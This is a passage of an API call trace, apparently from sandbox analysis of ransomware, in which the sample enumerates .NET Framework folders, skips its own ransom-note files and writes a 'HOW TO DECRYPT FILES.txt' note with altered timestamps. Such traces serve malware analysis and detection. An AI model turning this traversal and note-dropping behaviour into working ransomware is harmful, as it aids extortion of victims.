(lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.958] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Common.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.targets" [0136.958] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.targets", pszSpec="*.ems") returned 0 [0136.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59714f62, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59714f62, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7e62521c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.Tasks", cAlternateFileName="")) returned 1 [0136.958] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.958] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0136.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0136.958] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.Tasks") returned -1 [0136.958] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.targets") returned="Microsoft.Common.targets" [0136.958] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.958] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.958] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.958] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.958] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Common.Tasks" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.Tasks") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.Tasks" [0136.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5973b0c1, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5973b0c1, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7e69763c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CSharp.targets", cAlternateFileName="")) returned 1 [0136.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.959] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0136.959] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0136.959] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.targets") returned -1 [0136.959] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Common.Tasks") returned="Microsoft.Common.Tasks" [0136.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.959] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.959] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.959] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.959] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.CSharp.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.CSharp.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.CSharp.targets" [0136.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597ad4de, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x597ad4de, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7e8606bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Entity.Build.Tasks.dll", cAlternateFileName="")) returned 1 [0136.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.959] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0136.960] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0136.960] lstrcmpiA (lpString1="", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0136.960] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.CSharp.targets") returned="Microsoft.CSharp.targets" [0136.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.960] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.960] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.960] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.960] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Data.Entity.Build.Tasks.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.Build.Tasks.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.Build.Tasks.dll" [0136.960] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81188d30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Entity.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0136.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.960] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Data.Entity.targets") returned -1 [0136.960] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Data.Entity.targets") returned -1 [0136.960] lstrcmpiA (lpString1="", lpString2="Microsoft.Data.Entity.targets") returned -1 [0136.960] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.Build.Tasks.dll") returned="Microsoft.Data.Entity.Build.Tasks.dll" [0136.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.960] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.961] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.961] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.961] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Data.Entity.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.targets" [0136.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59904135, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59904135, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7ee53dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2586, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.targets", cAlternateFileName="")) returned 1 [0136.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.961] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0136.961] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0136.961] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.targets") returned -1 [0136.961] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Data.Entity.targets") returned="Microsoft.Data.Entity.targets" [0136.961] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.961] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.961] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.961] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.961] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.VisualBasic.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualBasic.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualBasic.targets" [0136.962] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5999c6b1, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5999c6b1, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7ef848bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0136.962] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.962] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0136.962] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0136.962] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0136.962] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualBasic.targets") returned="Microsoft.VisualBasic.targets" [0136.962] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.962] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.962] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.962] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.962] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.VisualC.STLCLR.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll" [0136.962] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29105195, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x29105195, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x8e6a149c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa720, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinFx.targets", cAlternateFileName="")) returned 1 [0136.962] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.962] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WinFx.targets") returned -1 [0136.963] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WinFx.targets") returned -1 [0136.963] lstrcmpiA (lpString1="", lpString2="Microsoft.WinFx.targets") returned -1 [0136.963] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll") returned="Microsoft.VisualC.STLCLR.dll" [0136.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.963] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.963] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.963] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.963] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.WinFx.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.WinFx.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.WinFx.targets" [0136.963] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0136.963] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0136.963] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0136.963] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.WinFx.targets") returned="Microsoft.WinFx.targets" [0136.963] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="MSBuild" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild" [0136.963] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501568, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.964] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.964] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0136.964] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.964] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.964] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d4ff1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1efdc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Commontypes.xsd", cAlternateFileName="MICROS~2.XSD")) returned 1 [0136.964] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.964] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0136.964] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0136.964] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0136.964] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\*.*") returned="*.*" [0136.964] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" [0136.964] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\") returned="" [0136.964] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt" [0136.964] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\msbuild\\how to decrypt files.txt")) returned 0xffffffff [0136.964] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\msbuild\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0136.968] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.968] CloseHandle (hObject=0x90) returned 1 [0136.968] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\", lpString2="Microsoft.Build.Commontypes.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\Microsoft.Build.Commontypes.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\Microsoft.Build.Commontypes.xsd" [0136.968] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811aee91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1 [0136.968] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.968] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0136.968] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0136.969] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Core.xsd") returned -1 [0136.969] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\Microsoft.Build.Commontypes.xsd") returned="Microsoft.Build.Commontypes.xsd" [0136.969] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" [0136.969] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\") returned="" [0136.969] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt" [0136.969] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\msbuild\\how to decrypt files.txt")) returned 0x20 [0136.969] lstrcatA (in: 